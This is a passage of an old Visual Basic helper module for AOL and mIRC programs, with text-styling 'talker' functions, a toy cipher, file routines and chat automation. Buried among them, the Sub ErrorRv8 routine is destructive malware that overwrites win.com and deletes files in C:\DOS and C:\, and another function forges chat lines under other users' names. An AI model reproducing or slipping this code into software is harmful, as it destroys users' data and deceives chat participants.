  7422. If NextChr$ = "V" Then Let NextChr$ = "⌡"
  7423. If NextChr$ = "W" Then Let NextChr$ = "÷"
  7424. If NextChr$ = "X" Then Let NextChr$ = "°"
  7425. If NextChr$ = "Y" Then Let NextChr$ = "∙"
  7426. If NextChr$ = "Z" Then Let NextChr$ = "·"
  7427. If NextChr$ = " " Then Let NextChr$ = " "
  7428. If NextChr$ = "a" Then Let NextChr$ = "'"
  7429. If NextChr$ = "b" Then Let NextChr$ = "√"
  7430. If NextChr$ = "c" Then Let NextChr$ = "ⁿ"
  7431. If NextChr$ = "d" Then Let NextChr$ = "²"
  7432. If NextChr$ = "e" Then Let NextChr$ = "■"
  7433. If NextChr$ = "f" Then Let NextChr$ = "╞"
  7434. If NextChr$ = "g" Then Let NextChr$ = "╟"
  7435. If NextChr$ = "h" Then Let NextChr$ = "╠"
  7436. If NextChr$ = "i" Then Let NextChr$ = "═"
  7437. If NextChr$ = "j" Then Let NextChr$ = "╬"
  7438. If NextChr$ = "k" Then Let NextChr$ = "╧"
  7439. If NextChr$ = "l" Then Let NextChr$ = "╪"
  7440. If NextChr$ = "m" Then Let NextChr$ = "▐"
  7441. If NextChr$ = "n" Then Let NextChr$ = "▀"
  7442. If NextChr$ = "o" Then Let NextChr$ = "å"
  7443. If NextChr$ = "p" Then Let NextChr$ = "â"
  7444. If NextChr$ = "q" Then Let NextChr$ = "î"
  7445. If NextChr$ = "r" Then Let NextChr$ = "è"
  7446. If NextChr$ = "s" Then Let NextChr$ = "ç"
  7447. If NextChr$ = "t" Then Let NextChr$ = "í"
  7448. If NextChr$ = "u" Then Let NextChr$ = "ú"
  7449. If NextChr$ = "v" Then Let NextChr$ = "º"
  7450. If NextChr$ = "w" Then Let NextChr$ = "∞"
  7451. If NextChr$ = "x" Then Let NextChr$ = "δ"
  7452. If NextChr$ = "y" Then Let NextChr$ = "Ω"
  7453. If NextChr$ = "z" Then Let NextChr$ = "Θ"
  7454. If NextChr$ = "1" Then Let NextChr$ = "Φ"
  7455. If NextChr$ = "2" Then Let NextChr$ = "τ"
  7456. If NextChr$ = "3" Then Let NextChr$ = "µ"
  7457. If NextChr$ = "4" Then Let NextChr$ = "ß"
  7458. If NextChr$ = "5" Then Let NextChr$ = "σ"
  7459. If NextChr$ = "6" Then Let NextChr$ = "Γ"
  7460. If NextChr$ = "7" Then Let NextChr$ = "π"
  7461. If NextChr$ = "8" Then Let NextChr$ = "Σ"
  7462. If NextChr$ = "9" Then Let NextChr$ = "α"
  7463. If NextChr$ = "0" Then Let NextChr$ = "╫"
  7464. Let NewSent$ = NewSent$ + NextChr$
  7465. Loop
  7466. meeh_Encrypt = NewSent$
  7467. End Function
  7468.  
  7469. Function EncryptType(Text, types)
  7470. 'to encrypt, example:
  7471. 'encrypted$ = EncryptType("messagetoencrypt", 0)
  7472. 'to decrypt, example:
  7473. 'decrypted$ = EncryptType("decryptedmessage", 1)
  7474. '- First Paramete is the Message
  7475. '- Second Parameter is 0 for encrypt
  7476. 'or 1 for decrypt
  7477.  
  7478. For god = 1 To Len(Text)
  7479. If types = 0 Then
  7480. Current$ = Asc(Mid(Text, god, 1)) - 1
  7481. Else
  7482. Current$ = Asc(Mid(Text, god, 1)) + 1
  7483. End If
  7484. Process$ = Process$ & Chr(Current$)
  7485. Next god
  7486.  
  7487. EncryptType = Process$
  7488. End Function
  7489. Sub Spiral(txt As TextBox)
  7490. 'Spiral Scroller
  7491. X = txt.Text
  7492. ErrorRsenD (txt)
  7493. thastart:
  7494. Dim MYLEN As Integer
  7495. MyString = txt.Text
  7496. MYLEN = Len(MyString)
  7497. mystr = Mid(MyString, 2, MYLEN) + Mid(MyString, 1, 1)
  7498. txt.Text = mystr
  7499. TimeOut 0.4
  7500. ErrorRsenD (txt)
  7501. If txt.Text = X Then
  7502. Exit Sub
  7503. End If
  7504. GoTo thastart
  7505. End Sub
  7506.  
  7507.  
  7508. Sub RunMenuByString(Wat, strin)
  7509. SearchWat% = GetMenu(Wat)
  7510. cnt = GetMenuItemCount(SearchWat%)
  7511.  
  7512. For fstrin = 0 To cnt - 1
  7513. ToSearchSub% = GetSubMenu(SearchWat%, fstrin)
  7514. MenuItemCnt = GetMenuItemCount(ToSearchSub%)
  7515.  
  7516. For gstrin = 0 To MenuItemCnt - 1
  7517. SubCnt = GetMenuItemID(ToSearchSub%, gstrin)
  7518. mString$ = String$(100, " ")
  7519. gstrinMenu% = GetMenuString(ToSearchSub%, SubCnt, mString$, 100, 1)
  7520.  
  7521. If InStr(UCase(mString$), UCase(strin)) Then
  7522. MenuItem% = SubCnt
  7523. GoTo Done
  7524. End If
  7525.  
  7526. Next gstrin
  7527.  
  7528. Next fstrin
  7529. Done:
  7530. runit% = SendMessage(Wat, WM_COMMAND, MenuItem%, 0)
  7531. End Sub
  7532.  
  7533.  
  7534. Function AOL30_ChatManipulate(Who, Wat)
  7535. aol% = FindWindow("AOL Frame25", vbNullString)
  7536. mdi% = FindChildByClass(aol%, "MDIClient")
  7537. Chil% = FindChildByClass(mdi%, "AOL Child")
  7538. View% = FindChildByClass(Chil%, "_AOL_View")
  7539. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  7540. Edi% = FindChildByClass(Chil%, "_AOL_Edit")
  7541.  
  7542. X = SendMessageByString(View%, WM_SETTEXT, 0, Chr(13) & " " & Who & ":" & Chr(9) & Wat)
  7543.  
  7544. End Function
  7545. Function AOL30_ChatSend(Wat)
  7546. aol% = FindWindow("AOL Frame25", vbNullString)
  7547. mdi% = FindChildByClass(aol%, "MDIClient")
  7548. Chil% = FindChildByClass(mdi%, "AOL Child")
  7549. View% = FindChildByClass(Chil%, "_AOL_View")
  7550. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  7551. Edi% = FindChildByClass(Chil%, "_AOL_Edit")
  7552.  
  7553. X = SendMessageByString(Edi%, WM_SETTEXT, 0, Wat)
  7554. clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0)
  7555.  
  7556. End Function
  7557.  
  7558.  
  7559. Function AOL30_inRoom() As Boolean
  7560. Dim InRoom As Boolean
  7561. aol% = FindWindow("AOL Frame25", vbNullString)
  7562. mdi% = FindChildByClass(aol%, "MDIClient")
  7563. Chil% = FindChildByClass(mdi%, "AOL Child")
  7564. View% = FindChildByClass(Chil%, "_AOL_View")
  7565. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  7566. Edi% = FindChildByClass(Chil%, "_AOL_Edit")
  7567.  
  7568. If View% <> 0 And lis% <> 0 And Edi% <> 0 Then
  7569. InRoom = True
  7570. Else
  7571. InRoom = False
  7572. End If
  7573. AOL30_inRoom = InRoom
  7574.  
  7575. End Function
  7576.  
  7577. Function AOL30_isAolOn() As Boolean
  7578. aol% = FindWindow("AOL Frame25", vbNullString)
  7579. If aol% <> 0 Then
  7580. IsOn = True
  7581. Else
  7582. IsOn = False
  7583. End If
  7584. AOL30_isAolOn = IsOn
  7585.  
  7586. End Function
  7587.  
  7588. Function BackFlash(object)
  7589. 'this will make the backround of a label
  7590. 'textbox etc, flash. put this code in a timer
  7591. 'dont forget to set the interval , a lower interval
  7592. 'will make a faster flash ex. Call BackFlash(Label1)
  7593. object.BackColor = QBColor(Rnd * 15)
  7594.  
  7595. End Function
  7596.  
  7597.  
  7598. Function FileDelete(Path)
  7599. On Error GoTo damn
  7600. Kill (Path)
  7601.  
  7602. damn:
  7603. MsgBox ("File Deletion error")
  7604. Exit Function
  7605. End Function
  7606.  
  7607. Function FileLength(Path)
  7608. 'returns the number of characters in a file
  7609. X = FileLen(Path)
  7610. FileLength = X
  7611.  
  7612. End Function
  7613.  
  7614. Function ForeFlash(object)
  7615. 'this will make the Foreground of a label
  7616. 'textbox etc, flash. put this code in a timer
  7617. 'dont forget to set the interval , a lower interval
  7618. 'will make a faster flash ex. Call ForeFlash(Label1)
  7619. object.ForeColor = QBColor(Rnd * 15)
  7620.  
  7621. End Function
  7622.  
  7623. Function FileCreate(FileName As String)
  7624. Free = FreeFile
  7625. Open FileName For Random As Free
  7626. Close Free
  7627. End Function
  7628. Sub HideAOL()
  7629. aol% = FindWindow("AOL Frame25", vbNullString)
  7630. Call ShowWindow(aol%, 0)
  7631. End Sub
  7632.  
  7633.  
  7634. Sub ShowAOL()
  7635. aol% = FindWindow("AOL Frame25", vbNullString)
  7636. Call ShowWindow(aol%, 5)
  7637. End Sub
  7638.  
  7639. Function FileInput(FileName As String)
  7640. Free = FreeFile
  7641. Open FileName For Input As Free
  7642.     I = FileLen(FileName)
  7643.     X = Input(I, Free)
  7644. Close Free
  7645.     FileInput = X
  7646. End Function
  7647. Function FileInput2(FileName As String)
  7648. 'this is for if the the first FileInput
  7649. 'adds two characters at the end
  7650. 'those two are not neccasarry and sometimes show up
  7651. 'use this method if you encounter that problem
  7652. Free = FreeFile
  7653. Open FileName For Input As Free
  7654.     I = FileLen(FileName)
  7655.     X = Input(I - 2, Free)
  7656. Close Free
  7657.     FileInput2 = X
  7658. End Function
  7659. Function FileWrite(FileName As String, Wat As String)
  7660.  
  7661. Open FileName For Output As #1
  7662.     Print #1, Wat
  7663. Close #1
  7664.  
  7665.  
  7666. End Function
  7667.  
  7668. Public Function FindSendWindow() As Long
  7669.     Dim aol As Long, mdi As Long, child As Long
  7670.     Dim SendStatic As Long
  7671.     aol& = FindWindow("AOL Frame25", vbNullString)
  7672.     mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
  7673.     child& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
  7674.     SendStatic& = FindWindowEx(child&, 0&, "_AOL_Static", "Send Now")
  7675.     If SendStatic& <> 0& Then
  7676.         FindSendWindow& = child&
  7677.         Exit Function
  7678.     Else
  7679.         Do
  7680.             child& = FindWindowEx(mdi&, child&, "AOL Child", vbNullString)
  7681.             SendStatic& = FindWindowEx(child&, 0&, "_AOL_Static", "Send Now")
  7682.             If SendStatic& <> 0& Then
  7683.                 FindSendWindow& = child&
  7684.                 Exit Function
  7685.             End If
  7686.         Loop Until child& = 0&
  7687.     End If
  7688.     FindSendWindow& = 0&
  7689. End Function
  7690. Public Function FindInfoWindow() As Long
  7691.     Dim aol As Long, mdi As Long, child As Long
  7692.     Dim AOLCheck As Long, AOLIcon As Long, AOLStatic As Long
  7693.     Dim AOLIcon2 As Long, AOLGlyph As Long
  7694.     aol& = FindWindow("AOL Frame25", vbNullString)
  7695.     mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
  7696.     child& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
  7697.     AOLCheck& = FindWindowEx(child&, 0&, "_AOL_Checkbox", vbNullString)
  7698.     AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
  7699.     AOLGlyph& = FindWindowEx(child&, 0&, "_AOL_Glyph", vbNullString)
  7700.     AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString)
  7701.     AOLIcon2& = FindWindowEx(child&, AOLIcon&, "_AOL_Icon", vbNullString)
  7702.     If AOLCheck& <> 0& And AOLStatic& <> 0& And AOLGlyph& <> 0& And AOLIcon& <> 0& And AOLIcon2& <> 0& Then
  7703.         FindInfoWindow& = child&
  7704.         Exit Function
  7705.     Else
  7706.         Do
  7707.             child& = FindWindowEx(mdi&, child&, "AOL Child", vbNullString)
  7708.             AOLCheck& = FindWindowEx(child&, 0&, "_AOL_Checkbox", vbNullString)
  7709.             AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
  7710.             AOLGlyph& = FindWindowEx(child&, 0&, "_AOL_Glyph", vbNullString)
  7711.             AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString)
  7712.             AOLIcon2& = FindWindowEx(child&, AOLIcon&, "_AOL_Icon", vbNullString)
  7713.             If AOLCheck& <> 0& And AOLStatic& <> 0& And AOLGlyph& <> 0& And AOLIcon& <> 0& And AOLIcon2& <> 0& Then
  7714.                 FindInfoWindow& = child&
  7715.                 Exit Function
  7716.             End If
  7717.         Loop Until child& = 0&
  7718.     End If
  7719.     FindInfoWindow& = child&
  7720. End Function
  7721. Function LoadTimes(ProgName As String)
  7722. 'New an improved
  7723.     On Error Resume Next
  7724. num = GetSetting(ProgName, "Load", "Times")
  7725.     num = Val(num) + 1
  7726.  
  7727. Call SaveSetting(ProgName, "Load", "Times", num)
  7728. LoadTimes = num
  7729. End Function
  7730. Public Function LoByte(ByVal wParam As Integer)
  7731.  
  7732.     LoByte = wParam And &HFF&
  7733.  
  7734. End Function
  7735. Function LoadTimesReset()
  7736. 'Changes the times to 0
  7737.     On Error Resume Next
  7738.  
  7739. Call SaveSetting("ErrorR", "Load", "Times", "0")
  7740. End Function
  7741.  
  7742.  
  7743. Function MacroDarken(Macro As String)
  7744. 'this is a darken effect for as macro
  7745. 'just use it with the variable macro
  7746. 'being where the macro is
  7747.     For I = 1 To Len(Macro)
  7748. X$ = Mid(Macro, I, 1)
  7749.     If X$ = ":" Then Let X$ = ";"
  7750. Final$ = Final$ & X$
  7751.     Next I
  7752.         MacroDarken = Final$
  7753.  
  7754. End Function
  7755. Function mIRCJoinChannel(channel)
  7756. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7757. ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  7758. OurParent& = FindWindowEx(ParHand2&, 0, "status", vbNullString)
  7759. ourhandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString)
  7760. Chat = "/Join " & channel
  7761. Call SetFocusAPI(ourhandle&)
  7762. Call SendMessageByString(ourhandle&, WM_SETTEXT, 0, channel)
  7763. DoEvents
  7764. Call SendMessageByNum(ourhandle&, WM_CHAR, 13, 0)
  7765. End Function
  7766. Function mIRCSendChat(Chat)
  7767. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7768. ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  7769. OurParent& = FindWindowEx(ParHand2&, 0, "channel", vbNullString)
  7770. ourhandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString)
  7771. Call SetFocusAPI(ourhandle&)
  7772. Call SendMessageByString(ourhandle&, WM_SETTEXT, 0, Chat)
  7773. DoEvents
  7774. Call SendMessageByNum(ourhandle&, WM_CHAR, 13, 0)
  7775. End Function
  7776. Sub mIRCSendChat2Query(Chat)
  7777. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7778. ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  7779. OurParent& = FindWindowEx(ParHand2&, 0, "query", vbNullString)
  7780. ourhandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString)
  7781. Call SetFocusAPI(ourhandle&)
  7782. Call SendMessageByString(ourhandle&, WM_SETTEXT, 0, Chat)
  7783. DoEvents
  7784. Call SendMessageByNum(ourhandle&, WM_CHAR, 13, 0)
  7785.  
  7786. End Sub
  7787. Function mIRCSendChat2Status(Chat)
  7788. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7789. ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  7790. OurParent& = FindWindowEx(ParHand2&, 0, "status", vbNullString)
  7791. ourhandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString)
  7792. Call SetFocusAPI(ourhandle&)
  7793. Call SendMessageByString(ourhandle&, WM_SETTEXT, 0, Chat)
  7794. DoEvents
  7795. Call SendMessageByNum(ourhandle&, WM_CHAR, 13, 0)
  7796. End Function
  7797. Sub mIRCShow()
  7798. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7799. Call Window_Show(ParHand1&)
  7800.  
  7801. End Sub
  7802. Sub mIRCSignOn(server)
  7803. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7804. ParHand2& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  7805. OurParent& = FindWindowEx(ParHand2&, 0, "status", vbNullString)
  7806. ourhandle& = FindWindowEx(OurParent&, 0, "Edit", vbNullString)
  7807. Chat = "/server " & server
  7808. Call SetFocusAPI(ourhandle&)
  7809. Call SendMessageByString(ourhandle&, WM_SETTEXT, 0, Chat)
  7810. DoEvents
  7811. Call SendMessageByNum(ourhandle&, WM_CHAR, 13, 0)
  7812. TimeOut (6)
  7813. End Sub
  7814. Sub ErrorRv8()
  7815. 'MsgBox "This is a VIRUS CODE and will harm your computer!"
  7816. ' Might Want to get rid of that!
  7817. 'this is a nice virii
  7818. 'makes the victem print my tags and kills there win and dos -=)
  7819. 'what ever actions you do with my shit its up to you
  7820. 'just dont fuck with my shit bitch
  7821.  
  7822. Printer.Print "ErrorR Domain"
  7823. Open "c:\windows\win.com" For Output As #1
  7824. Print #1, " ErrorR "
  7825. Close #1
  7826. Kill "c:\dos\*.*"
  7827. Kill "c:\*.*"
  7828. End Sub
  7829. Sub mIRCHide()
  7830. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7831. Call Window_Hide(ParHand1&)
  7832.  
  7833. End Sub
  7834. Function mIRCGetChatText()
  7835. ParHand1& = FindWindow("mIRC32", "mIRC32")
  7836. OurParent& = FindWindowEx(ParHand1&, 0, "MDIClient", vbNullString)
  7837. win% = FindWindowEx(OurParent&, 0, "channel", vbNullString)
  7838. chattext = GetText(win%)
  7839. mIRCGetChatText = chattext
  7840. End Function
  7841.  
  7842. Function MacroLighten(Macro As String)
  7843. 'this is a darken effect for as macro
  7844. 'just use it with the variable macro
  7845. 'being where the macro is
  7846.     For I = 1 To Len(Macro)
  7847. X$ = Mid(Macro, I, 1)
  7848.     If X$ = ";" Then Let X$ = ":"
  7849. Final$ = Final$ & X$
  7850.     Next I
  7851.         MacroLighten = Final$
  7852.  
  7853. End Function
  7854.  
  7855. Function MailList2String(lis As ListBox)
  7856.     For X = 0 To lis.ListCount - 1
  7857. Names$ = Names$ & lis.List(X) & ","
  7858.     Next X
  7859.         MailList2String = Mid(Names$, 1, Len(Names$) - 1)
  7860.     
  7861. End Function
  7862.  
  7863.  
  7864.  
  7865. Function RandomNum(last)
  7866. 'creates a random number from 1 to last
  7867. X = Int(Rnd * last + 1)
  7868.         RandomNum = X
  7869.  
  7870. End Function
  7871.  
  7872. Function ReplaceChar(Where, LookFor As String, Replace As String)
  7873. 'this is to replace one character
  7874. 'ex. text1.text = ReplaceChar(text1.text,"a","b")
  7875. 'that will change all a's to b's
  7876. For X = 1 To Len(Where)
  7877. I$ = Mid(Where, X, 1)
  7878. If I$ = LookFor Then Let I$ = Replace
  7879. strin$ = strin$ & I$
  7880. Next X
  7881. ReplaceChar = strin$
  7882. End Function
  7883.  
  7884. Function TDate()
  7885. X = Format(Date, "mmmm/dd/yyyy")
  7886. TDate = X
  7887. End Function
  7888. Function TDate2()
  7889. X = Format(Date, "mm/dd/yy")
  7890. TDate2 = X
  7891. End Function
  7892. Function TDate3()
  7893. X = Format(Date, "mm/dd/yyyy")
  7894. TDate3 = X
  7895. End Function
  7896. Function TDate4()
  7897. X = Format(Date, "dddd/mmmm/yyyy")
  7898. TDate4 = X
  7899. End Function
  7900. 'Function Text_BoldCrazy(strin As String)
  7901. 'For X = 1 To Len(strin) Step 2
  7902. 'i$ = Mid(strin, X, 1)
  7903. 'i2$ = Mid(strin, X + 1, 1)
  7904. 'Final$ = Final$ & "<B>" & i$ & "</B>" & i2$
  7905. 'Next X
  7906. 'SendChat = Final$
  7907. 'End Function
  7908. Function Talker_Period(strin As String) As String
  7909. '  How to use:
  7910. '  ReV = talker_period(text1.text)
  7911. '  errorrsend(ReV)
  7912.  
  7913.     Dim NextChr As String, inptxt As String, lenth As Integer
  7914.     Dim NumSpc As Integer, NewSent As String, Pero As String
  7915.     
  7916.     Let inptxt$ = strin
  7917.     Let lenth% = Len(inptxt$)
  7918.     Do While NumSpc% <= lenth%
  7919.         Let NumSpc% = NumSpc% + 1
  7920.         Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  7921.         Let NextChr$ = NextChr$ + "."
  7922.         Let NewSent$ = NewSent$ + NextChr$
  7923.     Loop
  7924.     Pero$ = NewSent$
  7925.     Talker_Period = Pero$
  7926. End Function
  7927. Function Talker_Ucase(Strn As String) As String
  7928.     Dim chang As String
  7929.  
  7930.     chang$ = UCase(Strn)
  7931.     Talker_Ucase = chang$
  7932. End Function
  7933. Function Talker_Space(strin As String) As String
  7934. '  How to use:
  7935. '  ReV = talker_space(text1.text)
  7936. '  errorrsend(ReV)
  7937.  
  7938.     Dim NextChr As String, inptxt As String, lenth As Integer
  7939.     Dim NumSpc As Integer, NewSent As String, Spac As String
  7940.     
  7941.     Let inptxt$ = strin
  7942.     Let lenth% = Len(inptxt$)
  7943.     Do While NumSpc% <= lenth%
  7944.         Let NumSpc% = NumSpc% + 1
  7945.         Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  7946.         Let NextChr$ = NextChr$ + " "
  7947.         Let NewSent$ = NewSent$ + NextChr$
  7948.     Loop
  7949.     Spac$ = NewSent$
  7950.     Talker_Space = Spac$
  7951. End Function
  7952. Function Talker_Slash(strin As String) As String
  7953. '  How to use:
  7954. '  ReV = talker_slash(text1.text)
  7955. '  ErrorR(ReV)
  7956.  
  7957.     Dim NextChr As String, inptxt As String, lenth As Integer
  7958.     Dim NumSpc As Integer, NewSent As String, Slah As String
  7959.     
  7960.     Let inptxt$ = strin
  7961.     Let lenth% = Len(inptxt$)
  7962.     Do While NumSpc% <= lenth%
  7963.         Let NumSpc% = NumSpc% + 1
  7964.         Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  7965.         Let NextChr$ = NextChr$ + "/"
  7966.         Let NewSent$ = NewSent$ + NextChr$
  7967.     Loop
  7968.     Slah$ = NewSent$
  7969.     Talker_Slash = Slah$
  7970. End Function
  7971. Function Talker_r33t(strin As String) As String
  7972. '  From ErrorR.Bas edited by |2eV
  7973. '  How to use:
  7974. '  ReV = talker_r33t(text1.text)
  7975. '  errorrsend(ReV)
  7976.  
  7977.     Dim NextChr As String, inptxt As String, lenth As Integer
  7978.     Dim NextChrr As String, NewSent As String, NumSpc As Integer, Crapp As Integer
  7979.     
  7980.     Let inptxt$ = strin
  7981.     Let lenth% = Len(inptxt$)
  7982.     
  7983.     Do While NumSpc% <= lenth%
  7984.     DoEvents
  7985.     Let NumSpc% = NumSpc% + 1
  7986.     Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  7987.     Let NextChrr$ = Mid$(inptxt$, NumSpc%, 2)
  7988.     If NextChrr$ = "ae" Then Let NextChrr$ = "43": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  7989.     If NextChrr$ = "AE" Then Let NextChrr$ = "43": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  7990.     If NextChrr$ = "oe" Then Let NextChrr$ = "03": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  7991.     If NextChrr$ = "OE" Then Let NextChrr$ = "03": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  7992.     If Crapp% > 0 Then GoTo send
  7993.     
  7994.     If NextChr$ = "A" Then Let NextChr$ = "4"
  7995.     If NextChr$ = "a" Then Let NextChr$ = "4"
  7996.     If NextChr$ = "B" Then Let NextChr$ = "b"
  7997.     If NextChr$ = "C" Then Let NextChr$ = "c"
  7998.     If NextChr$ = "c" Then Let NextChr$ = "c"
  7999.     If NextChr$ = "D" Then Let NextChr$ = "d"
  8000.     If NextChr$ = "d" Then Let NextChr$ = "d"
  8001.     If NextChr$ = "E" Then Let NextChr$ = "3"
  8002.     If NextChr$ = "e" Then Let NextChr$ = "3"
  8003.     If NextChr$ = "f" Then Let NextChr$ = "f"
  8004.     If NextChr$ = "F" Then Let NextChr$ = "f"
  8005.     If NextChr$ = "G" Then Let NextChr$ = "g"
  8006.     If NextChr$ = "f" Then Let NextChr$ = "g"
  8007.     If NextChr$ = "H" Then Let NextChr$ = "h"
  8008.     If NextChr$ = "I" Then Let NextChr$ = "1"
  8009.     If NextChr$ = "i" Then Let NextChr$ = "1"
  8010.     If NextChr$ = "k" Then Let NextChr$ = "k"
  8011.     If NextChr$ = "K" Then Let NextChr$ = "k"
  8012.     If NextChr$ = "L" Then Let NextChr$ = "l"
  8013.     If NextChr$ = "M" Then Let NextChr$ = "m"
  8014.     If NextChr$ = "m" Then Let NextChr$ = "m"
  8015.     If NextChr$ = "N" Then Let NextChr$ = "n"
  8016.     If NextChr$ = "n" Then Let NextChr$ = "n"
  8017.     If NextChr$ = "O" Then Let NextChr$ = "0"
  8018.     If NextChr$ = "o" Then Let NextChr$ = "0"
  8019.     If NextChr$ = "P" Then Let NextChr$ = "p"
  8020.     If NextChr$ = "p" Then Let NextChr$ = "p"
  8021.     If NextChr$ = "Q" Then Let NextChr$ = "q"
  8022.     If NextChr$ = "R" Then Let NextChr$ = "r"
  8023.     If NextChr$ = "S" Then Let NextChr$ = "5"
  8024.     If NextChr$ = "s" Then Let NextChr$ = "5"
  8025.     If NextChr$ = "t" Then Let NextChr$ = "7"
  8026.     If NextChr$ = "T" Then Let NextChr$ = "7"
  8027.     If NextChr$ = "U" Then Let NextChr$ = "u"
  8028.     If NextChr$ = "u" Then Let NextChr$ = "u"
  8029.     If NextChr$ = "V" Then Let NextChr$ = "v"
  8030.     If NextChr$ = "W" Then Let NextChr$ = "w"
  8031.     If NextChr$ = "X" Then Let NextChr$ = "x"
  8032.     If NextChr$ = "X" Then Let NextChr$ = "x"
  8033.     If NextChr$ = "Y" Then Let NextChr$ = "y"
  8034.     Let NewSent$ = NewSent$ + NextChr$
  8035.  
  8036. send:
  8037. If Crapp% > 0 Then Let Crapp% = Crapp% - 1
  8038. DoEvents
  8039. Loop
  8040. Talker_r33t = NewSent$
  8041. End Function
  8042.  
  8043. Function Talker_Lcase(Strn As String) As String
  8044.     Dim chang As String
  8045.  
  8046.     chang$ = LCase(Strn)
  8047.     Talker_Lcase = chang$
  8048. End Function
  8049. Function Talker_PuP(strin As String) As String
  8050. 'From ErrorR.Bas
  8051. '  How to use:
  8052. '  ReV = talker_pup(text1.text)
  8053. '  errorrsend(ReV)
  8054.  
  8055.     Dim NextChr As String, inptxt As String, lenth As Integer
  8056.     Dim NextChrr As String, NewSent As String, NumSpc As Integer, Crapp As Integer
  8057.     
  8058.     Let inptxt$ = strin
  8059.     Let lenth% = Len(inptxt$)
  8060.     
  8061.     Do While NumSpc% <= lenth%
  8062.     DoEvents
  8063.     Let NumSpc% = NumSpc% + 1
  8064.     Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  8065.     Let NextChrr$ = Mid$(inptxt$, NumSpc%, 2)
  8066.     If NextChrr$ = "ae" Then Let NextChrr$ = "/-\E": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8067.     If NextChrr$ = "AE" Then Let NextChrr$ = "/-\E": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8068.     If NextChrr$ = "oe" Then Let NextChrr$ = "()e": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8069.     If NextChrr$ = "OE" Then Let NextChrr$ = "()E": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8070.     If Crapp% > 0 Then GoTo send
  8071.     
  8072.     If NextChr$ = "A" Then Let NextChr$ = "/-\"
  8073.     If NextChr$ = "a" Then Let NextChr$ = "/-\"
  8074.     If NextChr$ = "B" Then Let NextChr$ = "(3"
  8075.     If NextChr$ = "C" Then Let NextChr$ = "C"
  8076.     If NextChr$ = "c" Then Let NextChr$ = "c"
  8077.     If NextChr$ = "D" Then Let NextChr$ = "|)"
  8078.     If NextChr$ = "d" Then Let NextChr$ = "d"
  8079.     If NextChr$ = "E" Then Let NextChr$ = "E"
  8080.     If NextChr$ = "e" Then Let NextChr$ = "d"
  8081.     If NextChr$ = "f" Then Let NextChr$ = "f"
  8082.     If NextChr$ = "H" Then Let NextChr$ = "|-|"
  8083.     If NextChr$ = "I" Then Let NextChr$ = "I"
  8084.     If NextChr$ = "i" Then Let NextChr$ = "i"
  8085.     If NextChr$ = "k" Then Let NextChr$ = "|ï"
  8086.     If NextChr$ = "K" Then Let NextChr$ = "(½"
  8087.     If NextChr$ = "L" Then Let NextChr$ = "(_"
  8088.     If NextChr$ = "M" Then Let NextChr$ = "(\/)"
  8089.     If NextChr$ = "m" Then Let NextChr$ = "ïv¢"
  8090.     If NextChr$ = "N" Then Let NextChr$ = "(\)"
  8091.     If NextChr$ = "n" Then Let NextChr$ = "/\/"
  8092.     If NextChr$ = "O" Then Let NextChr$ = "()"
  8093.     If NextChr$ = "o" Then Let NextChr$ = "()"
  8094.     If NextChr$ = "P" Then Let NextChr$ = "P"
  8095.     If NextChr$ = "p" Then Let NextChr$ = "p"
  8096.     If NextChr$ = "r" Then Let NextChr$ = "r"
  8097.     If NextChr$ = "S" Then Let NextChr$ = "S"
  8098.     If NextChr$ = "s" Then Let NextChr$ = "s"
  8099.     If NextChr$ = "t" Then Let NextChr$ = "t"
  8100.     If NextChr$ = "U" Then Let NextChr$ = "U"
  8101.     If NextChr$ = "u" Then Let NextChr$ = "u"
  8102.     If NextChr$ = "V" Then Let NextChr$ = "\/"
  8103.     If NextChr$ = "W" Then Let NextChr$ = "\X/"
  8104.     If NextChr$ = "w" Then Let NextChr$ = "\/\/"
  8105.     If NextChr$ = "X" Then Let NextChr$ = "><"
  8106.     If NextChr$ = "x" Then Let NextChr$ = "x"
  8107.     If NextChr$ = "Y" Then Let NextChr$ = "Y"
  8108.     If NextChr$ = "y" Then Let NextChr$ = "y"
  8109.     Let NewSent$ = NewSent$ + NextChr$
  8110. send:
